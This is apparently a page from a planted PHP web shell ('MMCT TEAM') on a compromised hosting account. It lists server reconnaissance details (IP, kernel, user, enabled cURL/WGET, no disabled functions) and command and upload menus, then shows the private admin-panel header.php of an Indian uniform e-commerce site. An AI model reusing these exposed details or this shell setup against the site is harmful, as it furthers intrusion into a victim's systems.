MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/uniformindia.co.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/admin/header.php
<?php include_once('includes/crud.php');
    $db = new Database();
    $db->connect();
    $db->sql("SET NAMES 'utf8'");
    
    include('includes/variables.php');
    include_once('includes/custom-functions.php');
    $fn = new custom_functions;
    $permissions = $fn->get_permissions($_SESSION['id']);
    // print_r($permissions);
    $config = $fn->get_configurations();
    if(isset($config['system_timezone']) && isset($config['system_timezone_gmt'])){
        date_default_timezone_set($config['system_timezone']);
        $db->sql("SET `time_zone` = '".$config['system_timezone_gmt']."'");
    }else{
        date_default_timezone_set('Asia/Kolkata');
        $db->sql("SET `time_zone` = '+05:30'");
    }
    
    $settings['app_name'] = $config['app_name'];
    $words = explode(" ", $settings['app_name']);
    $acronym = "";
    foreach ($words as $w) {
        $acronym .= $w[0];
    }
    // $sql="SELECT * FROM settings WHERE variable='currency'";
    // $db->sql($sql);
    // $res_currency = $db->getResult();
    $currency = $fn->get_settings('currency');
    $settings['currency'] = $currency;
    $role = $fn->get_role($_SESSION['id']);
    
    $sql_logo="select value from `settings` where variable='Logo' OR variable='logo'";
    $db->sql($sql_logo);
    $res_logo=$db->getResult();
?>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <link rel="icon" type="image/ico" href="<?='dist/img/'.$res_logo[0]['value']?>">
        <!-- Tell the browser to be responsive to screen width -->
        <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">

        <!-- Bootstrap 3.3.5 -->
        <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css">
        <!-- Font Awesome -->
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
        <!-- Ionicons -->
        <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
        
        
        <!-- Theme style -->
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/css/select2.min.css">
        <link rel="stylesheet" href="dist/css/AdminLTE.min.css">
        <link href="dist/css/multiple-select.css" rel="stylesheet"/>
        <!--<link rel="stylesheet" href="plugins/select2/select2.min.css">-->
        <!--	 <link rel="stylesheet" href="plugins/select2/select2.min.css">=
        <link rel="stylesheet" href="plugins/select2/select2.css">-->
        <!-- AdminLTE Skins. Choose a skin from the css/skins
            folder instead of downloading all of them to reduce the load. -->
        <link rel="stylesheet" href="dist/css/print.css" type="text/css" media="print">
        <link rel="stylesheet" href="dist/css/skins/_all-skins.min.css">
        <!-- iCheck -->
        <link rel="stylesheet" href="plugins/iCheck/flat/blue.css">
        <!-- Morris chart 
		<script src="//code.jquery.com/jquery-1.10.2.js"></script>-->
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
        <script src="//code.jquery.com/ui/1.11.4/jquery-ui.js"></script>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/switchery/0.8.2/switchery.min.css" />
        <script src="https://cdnjs.cloudflare.com/ajax/libs/switchery/0.8.2/switchery.min.js"></script>
        <script>
            $(document).ready(function () {
               var date = new Date();
               var currentMonth = date.getMonth()-10;
               var currentDate = date.getDate();
               var currentYear = date.getFullYear()-10;
            
               $('.datepicker').datepicker({
                   minDate: new Date(currentYear, currentMonth, currentDate),
                   dateFormat: 'yy-mm-dd',
               });
            });
        </script>
        <script language="javascript">
            function printpage()
             {
              window.print();
             }
        </script>
        <link rel="stylesheet" href="plugins/morris/morris.css">
        <!-- jvectormap -->
        <link rel="stylesheet" href="plugins/jvectormap/jquery-jvectormap-1.2.2.css">
        <!-- Date Picker -->
        <link rel="stylesheet" href="plugins/datepicker/datepicker3.css">
        <!-- Daterange picker -->
        <link rel="stylesheet" href="plugins/daterangepicker/daterangepicker-bs3.css">
        <!-- bootstrap wysihtml5 - text editor -->
        <link rel="stylesheet" href="plugins/bootstrap-wysihtml5/bootstrap3-wysihtml5.min.css">
        <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
        <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
        <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
        <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
        <![endif]-->

            <link href="https://fonts.googleapis.com/css2?family=Rubik:ital,wght@0,300..900;1,300..900&display=swap" rel="stylesheet">

        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-table/1.12.1/bootstrap-table.css" />
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-table/1.12.1/extensions/filter-control/bootstrap-table-filter-control.css" />
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.4.1/jquery.fancybox.min.css" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.4.1/jquery.fancybox.min.js"></script>
		
		<link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.6-rc.0/css/select2.min.css" rel="stylesheet"/>
		<script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.6-rc.0/js/select2.min.js"></script>
        
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.11.1/css/lightbox.min.css" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.11.1/js/lightbox.min.js"></script>

    </head>


<style>
    body{
        font-family: "Rubik", serif!important;
    }
    .skin-blue .main-header .navbar,.skin-blue .main-header .logo{
        background-color: #3c9fd9!important;
    }
    .skin-blue .main-header .navbar .sidebar-toggle:hover{
        background-color: #FD6A02 !important;
    }
    .select2-container{
        width: 100%!important;
    }
    .select2-selection,.select2-container--default .select2-selection--single .select2-selection__arrow{
/*        height: 35px!important;*/
    }

    .cke_editable.cke_display_version_check-absolute:before{
        display: none!important;
    }
</style>

    <body class="hold-transition skin-blue fixed sidebar-mini">
        <div class="wrapper">
        <header class="main-header">
            <!-- Logo -->
            <a href="home.php" class="logo">
                <!-- mini logo for sidebar mini 50x50 pixels -->
                <span class="logo-mini">
                    <h2><?=$acronym?></h2>
                </span>
                <!-- logo for regular state and mobile devices -->
                <span class="logo-lg">
                    <h3><?=$settings['app_name']?></h3>
                </span>
            </a>
            <!-- Header Navbar: style can be found in header.less -->
            <nav class="navbar navbar-static-top" role="navigation">
                <!-- Sidebar toggle button-->
                <a href="#" class="sidebar-toggle" data-toggle="offcanvas" role="button">
                <span class="sr-only">Toggle navigation</span>
                </a>
                <div class="navbar-custom-menu">
                    <ul class="nav navbar-nav">
                        <!-- User Account: style can be found in dropdown.less -->
                        <?php 
                        // print_r($_SESSION);
                            $sql_query = "SELECT * FROM admin where id=".$_SESSION['id'];
                            
                            $db->sql($sql_query);
                            $result=$db->getResult();
                            foreach($result as $row)
                            {
                                $user=$row['username'];
                                $email=$row['email'];    
                            ?>  					
                        <li class="dropdown user user-menu">
                            <a href="#" class="dropdown-toggle" data-toggle="dropdown">
                            <img src="images/avatar.png" class="user-image" alt="User Image">
                            <span class="hidden-xs"><?=$user;?></span>
                            </a>
                            <ul class="dropdown-menu">
                                <!-- User image -->
                                <li class="user-header">
                                    <img src="images/avatar.png" class="img-circle" alt="User Image">
                                    <p>
                                        <?=$user;?>
                                        <small><?=$email;?></small>
                                    </p>
                                </li>
                                <li class="user-footer">
                                    <div class="pull-left">
                                        <a href="admin-profile.php" class="btn btn-default btn-flat"> Edit Profile</a>
                                    </div>
                                    <div class="pull-right">
                                        <a href="logout.php" class="btn btn-default btn-flat">Log out</a>
                                    </div>
                                </li>
                                <!-- Menu Body -->
                                <!-- Menu Footer-->
                            </ul>
                        </li>
                    </ul>
                </div>
            </nav>
        </header>
        <!-- Left side column. contains the logo and sidebar -->
        <aside class="main-sidebar">
            <!-- sidebar: style can be found in sidebar.less -->
            <section class="sidebar">
                <!-- Sidebar user panel -->
                <!-- <div class="user-panel">
                    <div class="pull-left image">
                      <img src="images/avatar.png" class="img-circle" alt="User Image">
                    </div>
                    <div class="pull-left info">
                      <p><?//=$user;?></p>
                    <?php }?>
                      <a href="#"><i class="fa fa-circle text-success"></i> Online</a>
                    </div>
                    </div>-->
                <!-- search form -->
                <!--<form action="#" method="get" class="sidebar-form">
                    <div class="input-group">
                      <input type="text" name="q" class="form-control" placeholder="Search...">
                      <span class="input-group-btn">
                        <button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i></button>
                      </span>
                    </div>
                    </form>-->
                <!-- /.search form -->
                <!-- sidebar menu: : style can be found in sidebar.less -->
                <ul class="sidebar-menu">
                    <li class="treeview">
                        <a  href="home.php">
                        <i class="fa fa-home" class="active"></i> <span>Home</span>
                        </a>
                    </li>
                    <li class="treeview">
                        <a href="orders.php">
                        <i class="fa fa-shopping-cart"></i>
                        <span>Orders</span>
                        </a>
                    </li>
                    <li>
                        <a href="categories.php">
                        <i class="fa fa-bullseye"></i> <span>Categories</span>
                        </a>
                    </li>
                    <li>
                        <a href="subcategories.php">
                        <i class="fa fa-bullseye"></i> <span>Sub Categories</span>
                        </a>
                    </li>

                    <li>
                        <a href="parentcategories.php">
                        <i class="fa fa-bullseye"></i> <span>Parent Categories</span>
                        </a>
                    </li>

                    <li class="treeview">
                        <a href="#">
                        <i class="fa fa-cubes"></i>
                        <span>Products</span>
                        <i class="fa fa-angle-right pull-right"></i>
                        </a>
                        <ul class="treeview-menu">
                            <li><a href="add-product.php"><i class="fa fa-plus"></i> Add Product</a></li>
                            <li><a href="products.php"><i class="fa fa-sliders"></i> Manage Products</a></li>
                            <li><a href="products-order.php"><i class="fa fa-reorder"></i> Products Order</a></li>
                        </ul>
                    </li>

                    <li>
                        <a href="manufacturer.php">
                        <i class="fa fa-bullseye"></i> <span>Manufacturer</span>
                        </a>
                    </li>
                    <li>
                        <a href="colors.php">
                        <i class="fa fa-bullseye"></i> <span>Colours</span>
                        </a>
                    </li>
                    <li>
                        <a href="units.php">
                        <i class="fa fa-bullseye"></i> <span>Units</span>
                        </a>
                    </li>
                    <li class="treeview">
                        <a href="main-slider.php">
                        <i class="fa fa-picture-o"></i>
                        <span>Home Slider Images</span>
                        </a>
                    </li>
                    <!-- <li class="treeview">
                        <a href="new-offers.php">
                        <i class="fa fa-gift"></i>
                        <span>New Offers Images</span>
                        </a>
                    </li> -->
                    <li>
                        <a href="barcode-generate.php">
                        <i class="fa fa-barcode"></i> <span>Barcode Generate</span>
                        </a>
                    </li>
                    <li class="treeview">
                        <a href="promo-code.php">
                        <i class="fa fa-gift"></i>
                        <span>Promo code</span>
                        </a>
                    </li>
                    <li class="treeview">
                        <a href="sections.php">
                        <i class="fa fa-puzzle-piece"></i>
                        <span>Featured Sections</span>
                        </a>
                    </li>
                   <li class="treeview">
                        <a href="#">
                        <i class="fa fa-male"></i>
                        <span>Customers</span>
                        <i class="fa fa-angle-right pull-right"></i>
                        </a>
                        <ul class="treeview-menu">
                            <li><a href="customers.php"><i class="fa fa-users"></i> Customers </a></li>
                            <li><a href="manage-customer-wallet.php"><i class="fa fa-line-chart"></i> Manage Customer Wallet</a></li>
                           
                        </ul>
                    </li>
                    <li class="treeview">
                        <a href="payment-requests.php">
                        <i class="fa fa-money"></i> <span>Payment Requests</span>
                        </a>
                    </li>
                    <li class="treeview">
                        <a href="return-requests.php">
                        <i class="fa fa-retweet"></i> <span>Return Requests</span>
                        </a>
                    </li>

                    <li class="treeview">
                        <a href="#">
                        <i class="fa fa-male"></i>
                        <span>Delivery Boys</span>
                        <i class="fa fa-angle-right pull-right"></i>
                        </a>
                        <ul class="treeview-menu">
                            <li><a href="delivery-boys.php"><i class="fa fa-line-chart"></i> Manage Delivery Boys </a></li>
                            <li><a href="fund-transfers.php"><i class="fa fa-inr"></i> Fund Transfers</a></li>
                           
                        </ul>
                    </li>

                    <li class="treeview">
                        <a href="notification.php"> <i class="fa fa-share-square-o"></i><span>Send notification</span>
                        </a>
                    </li>
                   <li class="treeview">
                        <a href="transaction.php">
                        <i class="fa fa-exchange"></i> <span>Transaction</span>
                        </a>
                    </li>
                    <li class="treeview">
                        <a href="wallet-transactions.php">
                        <i class="fa fa-exchange"></i> <span>Wallet Transactions</span>
                        </a>
                    </li>
                    <li class="treeview">
                        <a href="#">
                        <i class="fa fa-wrench"></i>
                        <span>System</span>
                        <i class="fa fa-angle-right pull-right"></i>
                        </a>
                        <ul class="treeview-menu">
                            <li><a href="settings.php"><i class="fa fa-cogs"></i> Store Settings </a></li>
                            <li><a href="payment-methods-settings.php"><i class="fa fa-dollar"></i> Payment Methods </a></li>
                            <li><a href="time-slots.php"><i class="fa fa-clock-o"></i> Time slots </a></li>
                            <li><a href="notification-settings.php"><i class="fa fa-bell-o"></i> Notification Settings</a></li>
                            <li><a href="contact-us.php"><i class="fa fa-phone"></i> Contact Us </a></li>
                            <li><a href="privacy-policy.php"><i class="fa fa-user-secret"></i> Privacy Policy </a></li>
                            <li><a href="about-us.php"><i class="fa fa-info"></i> About Us </a></li>
                           
                        </ul>
                    </li>
                    <li class="treeview">
                        <a href="#">
                        <i class="fa fa-map-marker"></i>
                        <span>Location</span>
                        <i class="fa fa-angle-right pull-right"></i>
                        </a>
                        <ul class="treeview-menu">
                            <li><a href="city.php"><i class="fa fa-location-arrow"></i> Cities</a></li>
                            <li><a href="areas.php"><i class="fa fa-reorder"></i> Areas </a></li>
                        </ul>
                    </li>
                    <li class="treeview">
                        <a href="#">
                        <i class="fa fa-folder-open"></i>
                        <span>Reports</span>
                        <i class="fa fa-angle-right pull-right"></i>
                        </a>
                        <ul class="treeview-menu">
                            <li><a href="sale-report.php"><i class="fa fa-money"></i>Sales Report</a></li>
                            <li><a href="invoices.php"><i class="fa fa-money"></i>Invoice Report</a></li>
                        </ul>
                    </li>
                    <!--<li class="treeview">
                        <a href="#">
                        <i class="fa fa-globe"></i>
                        <span>Web Pages</span>
                        <i class="fa fa-angle-right pull-right"></i>
                        </a>
                        <ul class="treeview-menu">
							<li><a target="_blank" href="pages_web/offers.php"><i class="fa fa-gift"></i>Offers</a></li>
                            <li><a target="_blank" href="pages_web/privacy.php"><i class="fa fa-lock"></i>Privacy Policy</a></li>
                            <li><a target="_blank" href="pages_web/terms.php"><i class="fa fa-warning"></i>Terms and Conditions</a></li>
                        </ul>
                    </li>-->
                    <li class="treeview">
                        <a href="faq.php">
                        <i class="fa fa-info"></i> <span>FAQs</span>
                        <?php 
                            $query="select * from faq where status=1 ";
                            $db->sql($query);
                            $result=$db->getResult();
                            $count=$db->numRows($result);
                            if($count)
                            { ?>
                        <span class="label label-primary pull-right"><?php echo $count; ?></span>
                        <?php	} ?>
                        </a>
                    </li>
                    <?php
                    if($role == 'admin' || $role == 'super admin' ){
                    ?>
                    <li class="treeview">
                        <a  href="system-users.php">
                        <i class="fa fa-users" class="active"></i> <span>System Users</span>
                        </a>
                    </li>
                    <?php } ?>
                </ul>
            </section>
            <!-- /.sidebar -->
        </aside>
    </body>
</html>

MMCT - 2023